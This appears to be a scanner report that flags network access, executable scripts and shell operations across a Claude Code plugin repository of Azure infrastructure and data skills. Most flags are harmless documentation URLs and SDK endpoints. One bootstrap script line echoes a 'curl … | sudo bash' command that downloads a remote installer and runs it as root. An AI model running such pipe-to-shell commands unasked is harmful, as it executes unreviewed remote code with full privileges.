| NAT Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/natgateways?pivots=deployment-language-bicep) | [NAT Gateway overview](https://learn.microsoft.com/azure/nat-gateway/nat-overview) | [Naming rules](h
harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/networking-traffic.md
- Network accessline 12
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft - Network accessline 13
|----------|----------------|------------------|--------------|------------| | API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service?pivots=deployment-language-bicep) | [APIM overview](htt - Network accessline 14
| API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service?pivots=deployment-language-bicep) | [APIM overview](https://learn.microsoft.com/azure/api-management/api-management-key-concepts) | - Network accessline 15
| Application Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/applicationgateways?pivots=deployment-language-bicep) | [App Gateway overview](https://learn.microsoft.com/azure/application-gateway/overview - Network accessline 16
| Front Door | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cdn/profiles?pivots=deployment-language-bicep) | [Front Door overview](https://learn.microsoft.com/azure/frontdoor/front-door-overview) | [Naming rules](https - Network accessline 17
| Load Balancer | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/loadbalancers?pivots=deployment-language-bicep) | [LB overview](https://learn.microsoft.com/azure/load-balancer/load-balancer-overview) | [Naming r
harness/claude-code/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/security.md
- Network accessline 10
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyv - Network accessline 11
|----------|----------------|------------------|--------------|------------| | Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyvault/vaults?pivots=deployment-language-bicep) | [Key Vault overview](https://l - Network accessline 12
| Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyvault/vaults?pivots=deployment-language-bicep) | [Key Vault overview](https://learn.microsoft.com/azure/key-vault/general/overview) | [Naming rules](https:/ - Network accessline 13
| Managed Identity | [2024-11-30](https://learn.microsoft.com/azure/templates/microsoft.managedidentity/userassignedidentities?pivots=deployment-language-bicep) | [Managed identities](https://learn.microsoft.com/entra/identity/managed-ident
harness/claude-code/plugins/azure-cloud-development/skills/azure-infrastructure/scripts/bootstrap.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 154
echo "Install missing tools:" echo " terraform: brew install terraform" echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 155
echo " terraform: brew install terraform" echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" echo " kubectl: az aks install-cli" - Dangerous shell operationline 156
echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 156
echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 309
CLUSTER_NAME=$(terraform output -raw kubernetes_cluster_name) ACR_NAME=$(terraform output -raw acr_login_server | cut -d'.' -f1) KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1) - Network accessline 311
KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1) - Network accessline 364
log_step "Installing ArgoCD..." kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml - Network accessline 365
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml
harness/claude-code/plugins/azure-cloud-development/skills/azure-infrastructure/scripts/platform-bootstrap.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 536
echo "Access URLs:" echo " ArgoCD: https://${argocd_url}" - Network accessline 537
echo " ArgoCD: https://${argocd_url}" - Network accessline 538
echo " Backstage: https://${backstage_url}" - Network accessline 539
echo " Grafana: https://${grafana_url}" - Dangerous shell operationline 591
rm -f "$CHECKPOINT_FILE"
harness/claude-code/plugins/azure-cloud-development/skills/azure-pricing/SKILL.md
- Network accessline 40
GET https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview - Network accessline 43
Append `$filter` with OData syntax. Keep `api-version=2023-01-01-preview` because savings plan data appears in that version. URL-encode spaces as `%20` and quotes as `%27` when constructing a full URL such as `https://prices.azure.com/api/r - Network accessline 112
| URL | Content | | --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | - Network accessline 113
| --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/billi - Network accessline 114
| https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | - Network accessline 115
| https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing | Licensing options, M365 Copilot inclusions, prepaid and pay-as-you-go context. | - Network accessline 195
- [Azure Retail Prices API](https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview) - Network accessline 196
- [Copilot Studio requirements, messages, and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management) - Network accessline 197
- [Copilot Studio billing and licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing)
harness/claude-code/plugins/azure-cloud-development/skills/azure-pricing/references/COPILOT-STUDIO-RATES.md
- Network accessline 3
> Source: [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management) - Network accessline 4
> Estimator: [Microsoft agent usage estimator](https://microsoft.github.io/copilot-studio-estimator/) - Network accessline 5
> Licensing Guide: [Copilot Studio Licensing Guide](https://go.microsoft.com/fwlink/?linkid=2320995) - Network accessline 133
- [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management) - Network accessline 134
- [Copilot Studio licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing) - Network accessline 135
- [Copilot Studio Licensing Guide (PDF)](https://go.microsoft.com/fwlink/?linkid=2320995)
harness/claude-code/plugins/azure-cloud-development/skills/import-infrastructure-as-code/SKILL.md
- Network accessline 72
| Source | URL or pattern | | --- | --- | | Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` | - Network accessline 73
| --- | --- | | Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` | | Terraform Pattern Modules | `https://raw.githubusercon - Network accessline 74
| Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` | - Network accessline 75
| Terraform Pattern Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformPatternModules.csv` | - Network accessline 76
| Terraform Utility Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformUtilityModules.csv` | - Network accessline 77
| Registry namespace | `https://registry.terraform.io/namespaces/Azure` | - Network accessline 78
| Registry module | `https://registry.terraform.io/modules/Azure/<module>/azurerm/latest` | - Network accessline 79
| GitHub module | `https://github.com/Azure/terraform-azurerm-avm-res-{service}-{resource}` | - Network accessline 80
| README | `https://raw.githubusercontent.com/Azure/terraform-azurerm-avm-res-{service}-{resource}/refs/heads/main/README.md` | - Network accessline 81
| AVM index | `https://github.com/Azure/Azure-Verified-Modules/tree/main/docs/static/module-indexes` | - Network accessline 224
- [Azure Verified Modules index (Terraform)](https://github.com/Azure/Azure-Verified-Modules/tree/main/docs/static/module-indexes) - Network accessline 225
- [Terraform AVM Registry namespace](https://registry.terraform.io/namespaces/Azure)
harness/claude-code/plugins/azure-data-development/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/azure-data-development/skills/azure-kusto-graph/references/EXAMPLES.md
harness/claude-code/plugins/azure-data-development/skills/azure-kusto-graph/references/KUSTO_EXPLORER_LAUNCH.md
harness/claude-code/plugins/azure-data-development/skills/azure-kusto-irql-graph/SKILL.md
- Network accessline 57
- **Cluster**: `https://kc7001.eastus.kusto.windows.net` - Network accessline 144
Use icons from `https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/`: - Network accessline 215
let auth_mapping = '{"node_types":[{"type":"SrcIp","id":"SrcIp","key":"ClientIp","props":["ClientIp"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Public-IP-Addresses-(Classic).svg"}, - Network accessline 232
let mail_mapping = '{"node_types":[{"type":"EmailMessage","id":"Message","key":"Subject","props":["EnvTime","Subject","Verdict"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Media-Fil - Network accessline 247
let suspicious_domain_mapping = '{"node_types":[{"type":"IP","id":"IP","key":"ClientIp","props":["ClientIp"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Public-IP-Addresses-(Classic) - Network accessline 264
let proc_mapping = '{"node_types":[{"type":"Process","id":"Proc","key":"ProcessName","props":["ProcessName","ProcessCommandLine","ProcessHash"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-
harness/claude-code/plugins/azure-data-development/skills/azure-kusto-irql-graph/references/EXAMPLES.md
harness/claude-code/plugins/azure-data-development/skills/azure-kusto-irql-graph/references/KUSTO_EXPLORER_LAUNCH.md
harness/claude-code/plugins/azure-data-development/skills/azure-kusto-irql/SKILL.md
harness/claude-code/plugins/azure-data-development/skills/azure-kusto-irql/references/EXAMPLES.md
harness/claude-code/plugins/azure-data-development/skills/azure-kusto-irql/references/KUSTO_EXPLORER_LAUNCH.md
harness/claude-code/plugins/azure-data-development/skills/azure-storage/SKILL.md
- Network accessline 97
- Blob storage patterns and lifecycle -> [Blob Storage documentation](https://learn.microsoft.com/azure/storage/blobs/storage-blobs-overview) - Network accessline 98
- File shares and Azure File Sync -> [Azure Files documentation](https://learn.microsoft.com/azure/storage/files/storage-files-introduction) - Network accessline 99
- Queue patterns and poison handling -> [Queue Storage documentation](https://learn.microsoft.com/azure/storage/queues/storage-queues-introduction)
harness/claude-code/plugins/azure-data-development/skills/azure-storage/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/claude-code/plugins/azure-data-development/skills/azure-storage/references/sdk-usage.md
- Network accessline 36
service = BlobServiceClient(account_url="https://ACCOUNT.blob.core.windows.net/", credential=DefaultAzureCredential()) - Network accessline 47
const client = new BlobServiceClient("https://ACCOUNT.blob.core.windows.net/", new DefaultAzureCredential()); - Network accessline 58
var client = new BlobServiceClient(new Uri("https://ACCOUNT.blob.core.windows.net/"), new DefaultAzureCredential()); - Network accessline 70
BlobServiceClient client = new BlobServiceClientBuilder() .endpoint("https://ACCOUNT.blob.core.windows.net/") - Network accessline 71
.endpoint("https://ACCOUNT.blob.core.windows.net/") - Network accessline 90
func main() { cred, _ := azidentity.NewDefaultAzureCredential(nil) client, _ := azblob.NewClient("https://ACCOUNT.blob.core.windows.net/", cred, nil) - Network accessline 92
client, _ := azblob.NewClient("https://ACCOUNT.blob.core.windows.net/", cred, nil) - Network accessline 104
let credential = DeveloperToolsCredential::new(None)?; let blob_client = BlobClient::new( "https://ACCOUNT.blob.core.windows.net/", - Network accessline 105
let blob_client = BlobClient::new( "https://ACCOUNT.blob.core.windows.net/", "my-container", - Network accessline 106
"https://ACCOUNT.blob.core.windows.net/",
harness/claude-code/plugins/azure-data-development/skills/azure-storage/references/sdk/azure-storage-blob-ts.md
- Network accessline 12
import { BlobServiceClient } from "@azure/storage-blob"; import { DefaultAzureCredential } from "@azure/identity"; const client = new BlobServiceClient(`https://${accountName}.blob.core.windows.net`, new DefaultAzureCredential()); - Network accessline 14
const client = new BlobServiceClient(`https://${accountName}.blob.core.windows.net`, new DefaultAzureCredential());
harness/claude-code/plugins/azure-data-development/skills/azure-storage/references/sdk/azure-storage-file-share-ts.md
- Network accessline 12
import { ShareServiceClient } from "@azure/storage-file-share"; import { DefaultAzureCredential } from "@azure/identity"; const client = new ShareServiceClient(`https://${accountName}.file.core.windows.net`, new DefaultAzureCredential()); - Network accessline 14
const client = new ShareServiceClient(`https://${accountName}.file.core.windows.net`, new DefaultAzureCredential());
harness/claude-code/plugins/azure-data-development/skills/azure-storage/references/sdk/azure-storage-queue-ts.md
- Network accessline 12
import { QueueServiceClient } from "@azure/storage-queue"; import { DefaultAzureCredential } from "@azure/identity"; const client = new QueueServiceClient(`https://${accountName}.queue.core.windows.net`, new DefaultAzureCredential()); - Network accessline 14
const client = new QueueServiceClient(`https://${accountName}.queue.core.windows.net`, new DefaultAzureCredential());
harness/claude-code/plugins/azure-developer-tooling/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/.gitignore
- Access to secretsline 23
[Credential-related source omitted]
harness/claude-code/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/references/architecture-guidance-sources.md
- Network accessline 32
| ID | Document | URL | Purpose | |----|----------|-----|---------| | A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents | - Network accessline 33
|----|----------|-----|---------| | A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents | | A2 | Well-Architected Framework | https://learn.microso - Network accessline 34
| A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents | - Network accessline 35
| A2 | Well-Architected Framework | https://learn.microsoft.com/en-us/azure/architecture/framework/ | Security/reliability/performance/cost/operations principles | - Network accessline 36
| A3 | Cloud Adoption Framework / Landing Zone | https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/landing-zone/ | Enterprise governance, network topology, subscription structure | - Network accessline 37
| A4 | Azure AI/ML Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/ | AI/ML workload reference architecture hub | - Network accessline 38
| A5 | Basic Foundry Chat Reference Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/architecture/basic-azure-ai-foundry-chat | Basic Foundry-based chatbot structure | - Network accessline 39
| A6 | Baseline AI Foundry Chat Reference Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/architecture/baseline-openai-e2e-chat | Foundry chatbot enterprise baseline (including network isolation) | - Network accessline 40
| A7 | RAG Solution Design Guide | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/guide/rag/rag-solution-design-and-evaluation-guide | RAG pattern design guide | - Network accessline 41
| A8 | Microsoft Fabric Overview | https://learn.microsoft.com/en-us/fabric/get-started/microsoft-fabric-overview | Fabric platform overview and workload understanding | - Network accessline 42
| A9 | Fabric Governance / Adoption | https://learn.microsoft.com/en-us/power-bi/guidance/fabric-adoption-roadmap-governance | Fabric governance, adoption roadmap | - Network accessline 48
| Document | URL | Notes | |----------|-----|-------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service changes/new feature announcements. Not a targeted fetch target | - Network accessline 50
| Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service changes/new feature announcements. Not a targeted fetch target |
harness/claude-code/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/references/azure-dynamic-sources.md
- Network accessline 13
| Service | MS Docs URL | |---------|-------------| | CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts | - Network accessline 14
|---------|-------------| | CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts | | AI Search | https://learn.microsoft.com/en-us/azure/templates/microsoft.search/searc - Network accessline 15
| CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts | - Network accessline 16
| AI Search | https://learn.microsoft.com/en-us/azure/templates/microsoft.search/searchservices | - Network accessline 17
| Storage Account | https://learn.microsoft.com/en-us/azure/templates/microsoft.storage/storageaccounts | - Network accessline 18
| Key Vault | https://learn.microsoft.com/en-us/azure/templates/microsoft.keyvault/vaults | - Network accessline 19
| Virtual Network | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/virtualnetworks | - Network accessline 20
| Private Endpoints | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/privateendpoints | - Network accessline 21
| Private DNS Zones | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/privatednszones | - Network accessline 22
| Fabric | https://learn.microsoft.com/en-us/azure/templates/microsoft.fabric/capacities | - Network accessline 23
| Data Factory | https://learn.microsoft.com/en-us/azure/templates/microsoft.datafactory/factories | - Network accessline 24
| Application Insights | https://learn.microsoft.com/en-us/azure/templates/microsoft.insights/components | - Network accessline 25
| ML Workspace (Hub) | https://learn.microsoft.com/en-us/azure/templates/microsoft.machinelearningservices/workspaces | - Network accessline 33
https://learn.microsoft.com/en-us/azure/templates/microsoft.{provider}/{resourceType} - Network accessline 42
| Verification Method | URL / Command | |--------------------|---------------| | MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models | - Network accessline 43
|--------------------|---------------| | MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models | | Azure CLI (existing resources) | `az cognitiveservices account list-models --name "<NAME>" - Network accessline 44
| MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models | - Network accessline 55
| Verification Method | URL | |--------------------|-----| | PE DNS integration official docs | https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns | - Network accessline 57
| PE DNS integration official docs | https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns | - Network accessline 67
| Verification Method | URL | |--------------------|-----| | Azure service-by-region availability | https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/ | - Network accessline 69
| Azure service-by-region availability | https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/ | - Network accessline 77
| Source | URL | Purpose | |--------|-----|---------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness | - Network accessline 78
|--------|-----|---------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness | | What's New in Azure | Per-service What's New pages in Docs | Feature change verification | - Network accessline 79
| Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness |
harness/claude-code/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/references/bicep-generator.md
- Network accessline 21
**Verification Methods (in priority order): ** 1. Check the MS Docs model availability page: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models - Network accessline 22
1. Check the MS Docs model availability page: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models - Network accessline 48
### Always Fetch (Dynamic) - Network accessline 68
1. **Notify the user **: "This service is outside the v1 default scope. It will be generated on a best-effort basis by referencing MS Docs." 2. **Fetch API version **: Construct the URL in the format `https://learn.microsoft.com/en-us/azure - Network accessline 69
2. **Fetch API version **: Construct the URL in the format `https://learn.microsoft.com/en-us/azure/templates/microsoft.{provider}/{resourceType}` and fetch - Network accessline 70
3. **Identify resource type/required properties **: Confirm the resource type and required properties from the fetched Docs 4. **Verify PE mapping **: Fetch `https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns` to conf - Network accessline 71
4. **Verify PE mapping **: Fetch `https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns` to confirm groupId/DNS Zone
harness/claude-code/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/references/phase1-advisor.md
- Network accessline 162
- **`choices` MUST be passed as a string array (`["A", "B"]`) ** — passing as a string (`"A, B"`) will cause an error - If there is a recommended option, place it first and append `(Recommended)` at the end - Include reference information i - Network accessline 163
- If there is a recommended option, place it first and append `(Recommended)` at the end - Include reference information in choices — e.g., `"Standard S1 - Recommended for production. Ref: https://{example-url}"` - **Only 1 question per cal - Network accessline 164
- Include reference information in choices — e.g., `"Standard S1 - Recommended for production. Ref: https://{example-url}"` - Network accessline 183
// 1. SKU question ask_user({ question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier", - Network accessline 184
ask_user({ question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier", choices: [ - Network accessline 185
question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier", - Network accessline 194
// 2. Region question (separate call — only 1 question per call) ask_user({ question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models", - Network accessline 195
ask_user({ question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models", choices: [ - Network accessline 196
question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models", - Network accessline 325
Write-Host "Please install using one of the following methods:" -ForegroundColor Yellow Write-Host " 1. winget install Python.Python.3.12" Write-Host " 2. Download from https://www.python.org/downloads/" - Network accessline 326
Write-Host " 1. winget install Python.Python.3.12" Write-Host " 2. Download from https://www.python.org/downloads/" Write-Host " 3. Search for 'Python 3.12' in the Microsoft Store and install" - Network accessline 327
Write-Host " 2. Download from https://www.python.org/downloads/"
harness/claude-code/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/references/service-gotchas.md
- Network accessline 59
> > This mapping is complex and subject to change, so always fetch and verify MS Docs when configuring Monitor PE: > https://learn.microsoft.com/en-us/azure/azure-monitor/logs/private-link-configure - Network accessline 61
> https://learn.microsoft.com/en-us/azure/azure-monitor/logs/private-link-configure
harness/claude-code/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/scripts/cli.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/scripts/generator.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 528
<title>{title}</title> <style> @import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap'); - Network accessline 529
<style> @import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap'); * {{ box-sizing: border-box; margin: 0; padding: 0; }} - Network accessline 530
@import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap'); - Network accessline 1139
const vr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1147
const vnetLabel = VNET_INFO ? `Virtual Network (${{VNET_INFO}})` : 'Virtual Network'; const vl = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 1148
const vl = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 1168
if (gb.isPE) {{ // PE group — always draw with dashed style const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1169
// PE group — always draw with dashed style const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); gr.setAttribute('x', gb.x); gr.setAttribute('y', gb.y); - Network accessline 1170
const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1177
}} else {{ // Service group (category or RG) const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1178
// Service group (category or RG) const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); gr.setAttribute('x', gb.x); gr.setAttribute('y', gb.y); - Network accessline 1179
const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1190
// Title bar const titleBar = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1191
const titleBar = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1196
titleBar.setAttribute('opacity', '0.1'); root.appendChild(titleBar); const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1197
root.appendChild(titleBar); const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); titleFill.setAttribute('x', gb.x); titleFill.setAttribute('y', gb.y + GROUP_TITLE_H - 8); - Network accessline 1198
const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1204
// Color accent line const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1205
const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1211
// Group label — RG uses resource group name, PE uses "Private Endpoints", category uses category name const label = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 1212
const label = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 1253
const sr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1261
const sl = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2533
const path = document.createElementNS('http://www.w3.org/2000/svg', 'path'); - Network accessline 2603
const nw = isPe ? PE_W : SVC_W; const nh = isPe ? PE_H : SVC_H; const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2604
const nh = isPe ? PE_H : SVC_H; const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); g.setAttribute('class', 'node'); - Network accessline 2605
const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2610
// Card background — full clickable area const rect = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2611
const rect = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2619
// Color accent bar at top const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2620
const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2630
if (node.icon_data_uri) {{ // Official Azure icon (Base64 image) const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image'); - Network accessline 2631
// Official Azure icon (Base64 image) const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image'); iconImg.setAttribute('x', iconX); iconImg.setAttribute('y', iconY); - Network accessline 2632
const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image'); - Network accessline 2633
iconImg.setAttribute('x', iconX); iconImg.setAttribute('y', iconY); iconImg.setAttribute('width', iconSize); iconImg.setAttribute('height', iconSize); iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data - Network accessline 2634
iconImg.setAttribute('width', iconSize); iconImg.setAttribute('height', iconSize); iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data_uri); g.appendChild(iconImg); - Network accessline 2635
iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data_uri); - Network accessline 2637
}} else {{ // Fallback: built-in SVG text icon const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg'); - Network accessline 2638
// Fallback: built-in SVG text icon const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg'); iconG.setAttribute('x', iconX); iconG.setAttribute('y', iconY); - Network accessline 2639
const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg'); - Network accessline 2647
// Name — extra gap below icon (icon bottom ~50, name baseline at 74 → 24px breathing room) const name = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2648
const name = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2658
// SKU label if (!isPe && node.sku) {{ const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2659
if (!isPe && node.sku) {{ const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text'); sku.setAttribute('x', nw/2); sku.setAttribute('y', 90); - Network accessline 2660
const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2669
if (isPe && node.details.length > 0) {{ const det = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2670
const det = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2697
}}; const typeLabel = TYPE_LABELS[node.type] || node.type; const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2698
